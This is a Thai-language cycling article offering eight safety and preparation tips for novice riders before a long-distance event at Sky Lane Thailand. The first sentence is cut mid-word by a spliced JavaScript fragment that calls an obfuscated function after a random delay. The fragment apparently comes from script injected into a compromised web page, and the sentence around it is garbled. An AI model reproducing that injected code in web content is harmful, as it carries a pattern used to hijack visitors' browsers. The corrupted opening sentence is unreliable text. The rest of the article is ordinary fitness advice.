เอาใจนักปั่นมือใหม่และเนื่องในโอกาสต้อนรับการเปิดสนาม Sky Lane Thailandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and อีกครั้งในวันที่ 23 ธันวาคม 2560 Stepextra นำเสนอ 8 ทริคง่ายๆ ที่ช่วยพานักปั่นไปสู่เส้นชัยได้อย่างปลอดภัย
ข้อควรรู้ก่อนที่นักปั่นจะออกงานปั่นระยะทางไกลครั้งแรกๆ ควรมีการฝึกซ้อมและเตรียมร่างกายมาก่อนล่วงหน้าพอสมควร ปั่นได้ถึงระยะ 40 – 60 กิโลเมตรหรือยัง มีความทักษะในการเข้าเกียร์เข้าโค้งและการควงขามาบ้างหรือยัง ถ้ายังไม่ถึงขั้นที่จะสามารถออกงานได้ อย่าเพิ่งออกไปวัดใจตายดาบหน้าเด็ดขาด เดียวจะเกิดอาการบาดเจ็บเอา
- รักษา pace ของตัวเอง ในจังหวะการปล่อยตัว เราจะออกตัวเร็วและอัตราเต้นของหัวใจจะพุ่งเร็ว เหตุเพราะความตื่นเต้นและอุปทานหมู่ของนักปั่น ซึ่งเป็นเรื่องธรรมดา เมื่อทำระยะห่างจากจุดปล่อยตัวมาสักพัก ก็ให้เริ่มปรับและจัดระเบียบร่างกาย ควบคุมการหายใจ รอบการปั่นตามที่ฝึกมา เลือกเกียร์และรอบขาที่ถนัด อย่าเพิ่งเร่งรอบเพราะนี้คือการปั่นระยะยาว เราต้องบริหารพลังงานให้ไปจนจบการแข่งขัน
- รักษาระดับน้ำในร่างกาย ลองตั้งเป้าหมายการดื่มน้ำไว้ที่ ทุก 15 นาที อย่าปล่อยให้มีอาการหิวน้ำ เพราะนั้นหมายความว่าร่างกายเราได้เกิดสภาวะขาดน้ำแล้ว โดยทั่วไปในการปั่น 1 ชม. เราอาจต้องการน้ำชดเชย 700-1000 ml ดังนั้นในทุกๆ 15 นาที เราควรดื่มน้ำเท่ากับหรือมากกว่า 125-250 ml และระวังอย่าดื่มน้ำมากไปจนหนักท้อง
- เติมพลังระหว่างปั่นทุกๆ ชั่วโมง เพราะการปั่นจักรยานจำเป็นต้องใช้พลังงาน เมื่อถึงระยะเวลาหนึ่ง ไกลโคเจนในกล้ามเนื้อจะหมดหายไป ร่างกายจำเป็นต้องวิ่งหาแหล่งพลังงานอื่นๆ ทดแทน ให้ตั้งเป้าหมายไว้ที่ 200 kcal ต่อชั่วโมง ถ้านักปั่นมีร่างกายขนาดใหญ่ หรือมีระบบเผาผลาญพลังงานที่ดีกว่าคนทั่วไป อาจจะต้องเพิ่มเป็น 200+ kcal หากร่างกายเป็นคนตัวเล็กก็อาจน้อยกว่า 200 kcal นักปั่นจำเป็นต้องเตรียมอาหารให้พร้อมเสมอ อย่าไปหวังพึ่งพาจุดบริการน้ำและอาหาร
- เกาะกลุ่มต้องระวัง การเกาะกลุ่มจะช่วยทุนแรงไปได้เยอะจริง แต่ระวังการกระทบกระทั่งกันของล้อจักรยาน หรือการหักหลบหลุมบ่อจากคนข้างหน้า การเบียดของนักปั่น และจังหวะการยิงหนีจากข้างหลัง การเกี่ยวกันนิดเดียวจะทำให้เกิดการหกล้มได้ พยายามรักษาระยะห่างและระวังสิ่งรบข้างให้ดี ถ้ายังไม่มีประสบการณ์มากพอในการปั่นเกาะกลุ่มกันไป จะแยกออกมาเดี่ยวๆ ก็ได้ ใช้เกียร์เบาเล่นรอบเอา หรือเลือกเกาะกลุ่มเล็กๆ จะดูปลอดภัยกว่า
- อย่าลืมแผนที่ ถ้าเรามี Bike computer ซึ่งส่วนมากจะเป็น Garmin Edge ก็อย่าลืมโหลดแผนที่ลงมาด้วยเพื่อกันหลง เพราะทุกงานมีคนหลงทางทุกที ถ้าไม่มีก็อย่าลืมศึกษาเส้นทางและสังเกตป้ายนำทางให้ดี
- จินตนาการถึงเส้นชัยเข้าไว้ เพราะระยะทางปั่นมันยาวไกล ถ้ามั่วแต่นั่งนับหลักกิโลไปเรื่อยๆ จะเกิดอาการท้อใจลงได้ ดังนั้นต้องปลุกใจ สร้างแรงบันดาลด้วยการจินตนาการภาพตัวเองประสบความสำเร็จ ถ้าเป็นนักวิ่งเราอาจจะใช้เพลงกลบฆ่าเวลาขณะวิ่ง แต่การปั่นจักรยานเขาไม่อนุญาตให้ใส่หูฟัง เพราะมันอันตราย นักปั่นต้องฟังและระวังสิ่งรอบข้างเสมอ ทางที่ดีเอาบัดดี้ไปปั่นด้วยกันก็จะดีมาก ช่วยกันลากไปจนถึงเส้นชัย
- อย่าลืมฝึกซ้อมการปะเปลี่ยนยาง เพราะเราไม่รู้ว่าจะเกิดอาการยางแตกเมื่อไหร ชุดปะยางหรือจะใช้วิธีเปลี่ยนเส้นยางใหม่เลยก้ได้ ซึ่งวิธีหลัง (เปลี่ยนยางใน) จะทำได้ง่ายและเร็วกว่าด้วย ทริคที่แนะนำเพิ่มคืออย่าใส่ลมยางมากเกินไป ปล่อยออกนิดหน่อย คล้ายๆ การปั่นในวันที่ฝนตกถนนเปียก การปล่อยลมออกนิดหน่อยช่วยให้ยางมีพื้นที่ในการรับแรงกระแทกมีความยืดหยุ่นสามารถเกาะถนนได้เพิ่มขึ้น หากมีอากาศร้อนก็จะมีพื้นที่ให้ยางขยายตัว แต่ถ้าปล่อยมากไปความเร็วจะตกลงนะครับ
- พกเศษเงินและโทรศัพท์มือถือไปด้วย ในกรณีฉุกเฉิน อย่าง เกิดอุบัติเหตุ หรือหลงทางจริงๆ เหล่านี้ เราสามารถใช้มือถือติดต่อทีมงานผู้จัดและทีมกู้ภัยได้ การพกเงินติดตัวไปบ้างจะช่วยแก้ปัญหาเสบียงขาดได้ เพราะหลายๆ ครั้งที่อากาศร้อนทำให้เราต้องดื่มน้ำและเติมพลังงานเพิ่มขึ้นจนหมดสต็อก ทางเลือกก็คือแวะร้าน 7-11 เพื่อซื้อเสบียงเพิ่ม
